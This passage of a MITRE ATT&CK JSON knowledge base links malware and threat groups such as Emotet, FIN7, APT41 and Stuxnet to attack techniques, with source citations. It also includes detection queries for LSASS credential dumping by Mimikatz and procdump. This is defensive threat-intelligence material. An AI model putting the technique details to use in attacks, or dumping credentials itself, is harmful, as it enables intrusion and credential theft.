2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15d01a81-5d77-4373-81d0-8962e708ad20","created":"2019-01-29T21:47:53.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.924Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) has keylogging capabilities.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15d39425-c748-442e-a8d0-de8ab3668cdd","created":"2019-09-23T23:18:23.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.502Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15d668bc-9f10-49eb-8ed1-dfc82b8b8a62","created":"2022-10-13T16:08:47.808Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:08:47.808Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--15d6c37f-f34f-4431-b73c-0a1f0f64e37a","created":"2022-04-13T19:38:07.962Z","x_mitre_version":"0.1","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has the ability to wait for a specified time interval between communicating with and executing commands from C2.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T19:38:07.962Z","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15d6e435-c5ba-47cd-8923-dc877092c79f","created":"2022-08-15T16:43:40.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:38:35.673Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) has create a scheduled task named `Mozilla\\Firefox Default Browser Agent 409046Z0FF4A39CB` for persistence.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15d75abf-f6e1-4e86-8acb-6461958fdbac","created":"2024-07-01T14:27:42.414Z","revoked":false,"external_references":[{"source_name":"emotet_trendmicro_mar2023","description":"Kenefick, I. (2023, March 13). Emotet Returns, Now Adopts Binary Padding for Evasion. Retrieved June 19, 2024.","url":"https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:27:42.414Z","description":"[Emotet](https://attack.mitre.org/software/S0367) uses RegSvr32 to execute the DLL payload.(Citation: emotet_trendmicro_mar2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15d87b47-837d-4f62-9d78-4ec092c111d2","type":"relationship","created":"2021-09-23T12:51:15.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:51:15.519Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used SSH to move laterally through victim environments.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15e25965-b5e9-4b8c-b052-8a2233b30198","created":"2023-03-17T14:50:53.675Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:50:53.675Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) removed all previously delivered files from a compromised computer.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15e5a285-2177-462f-bd40-bc68347efcaf","type":"relationship","created":"2021-03-02T17:22:40.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T17:22:40.711Z","description":"[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced IP Scanner tool.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15e5da78-6475-426e-acd0-09f8a59ca0bb","type":"relationship","created":"2021-06-07T13:31:29.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:23:15.196Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) can use WMI to delete files on a target machine.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15e5ddeb-ad28-44c0-a7a7-0fe69e05456d","type":"relationship","created":"2019-04-17T18:43:36.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2020-03-19T17:58:14.281Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses cron tasks to ensure persistence. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15e815c2-ab92-4490-b0ba-f94dddfe8b01","created":"2023-07-14T14:01:41.417Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T14:01:41.417Z","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. \n","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15ec2486-936e-4bb0-8265-84ba20491c05","created":"2021-01-20T20:32:20.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.417Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data on designated servers in the target environment.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15f40e8e-7ddd-47f8-a11d-fbebc2c4d3fa","created":"2023-02-16T18:48:39.215Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T18:48:39.215Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can use a .NET-based DLL named `RunPe6` for process injection.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15f594bd-b2c1-41c1-82fa-b3c72f82993d","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:52:41.751Z","description":"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nUsage of Procdump and Windows Task Manager for LSASS dumping can also be detected via process creation events, since they both have a predictable set of command-line arguments (i.e., for specifying the process to be dumped). \n\nNote: Sysmon process access events (Event ID 10) can be extremely noisy, which necessitates tweaking the Sysmon configuration file. We recommend taking an approach analogous to that of the Sysmon Modular Configuration project (https://github.com/olafhartong/sysmon-modular) and filtering out any benign processes in your environment that produce large volumes of process access events. \n\nThe GrantedAccess value in the below analytic for Mimikatz is meant to be used solely as an illustrative example of detecting Mimikatz LSASS access. However, actual GrantedAccess values change over time with different versions of Mimikatz and therefore detection engineers need to verify the accuracy of any GrantedAccess values that their analytics are using. \n\nAnalytic 1 - Mimikatz\n\n(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"10\" AND TargetImage= \"*lsass.exe\" AND (GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a OR GrantedAccess=0x1418)\nCallTrace=\"C:\\\\windows\\\\SYSTEM32\\\\ntdll.dll+*|C:\\\\windows\\\\System32\\\\KERNELBASE.dll+20edd|UNKNOWN(*)\")\n\nAnalytic 2 - Suspicious process access to LSASS memory.\n\n```((sourceType=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"10\") AND TargetImage= \"*lsass.exe\" AND SourceImage IN (\"*mimikatz.exe\", \"*procdump.exe\", \"*rundll32.exe\", \"*taskmgr.exe\", \"*powershell.exe\")```","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15f74597-d92d-406f-9941-c0dfef3cb609","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.860Z","description":"Commands under net user can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15fb0728-9973-4ce4-b0d9-2c177be952c7","type":"relationship","created":"2020-02-21T21:00:49.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:00:49.032Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--15fd646c-172b-4458-945a-69a07a5648bb","created":"2022-09-19T18:24:41.933Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:24:41.933Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used a malicious DLL to search for files with specific keywords.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15fe2d8e-9a4e-433e-9dca-d7329e7ca846","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"},{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"}],"modified":"2019-04-24T23:36:42.302Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)’s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC.(Citation: Deply Mimikatz)(Citation: Adsecurity Mimikatz Guide)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--160209ea-5efb-44cf-bc21-fa0c4a8d702f","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor executed commands and arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16043223-3846-4138-93d0-671339ba3646","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.362Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) can send process listings over the C2 channel.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--160a52b3-8acd-4f19-810f-ac4ce96319d3","type":"relationship","created":"2019-06-20T14:52:45.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.782Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has used an OLE object that uses Equation Editor to drop the embedded shellcode.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--160d9be2-967e-4116-9c75-44b5b0a8927b","created":"2020-12-29T16:20:58.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:56:08.249Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) encrypts exfiltrated data via C2 with static 31-byte long XOR keys.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--161225df-de21-4715-b4f3-c324c05ff590","created":"2019-01-29T21:27:25.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.985Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process.(Citation: FireEye APT38 Oct 2018)(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1617d3d7-77c9-4a6b-bdd6-8914e0890495","created":"2022-06-13T17:52:37.611Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) files have been named `UltraVNC.exe` and `WINVNC.exe` to appear as legitimate VNC tools.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-09-01T14:18:29.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--161c58eb-29d7-4de3-aca8-3bda085f19a3","created":"2022-04-15T15:46:02.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 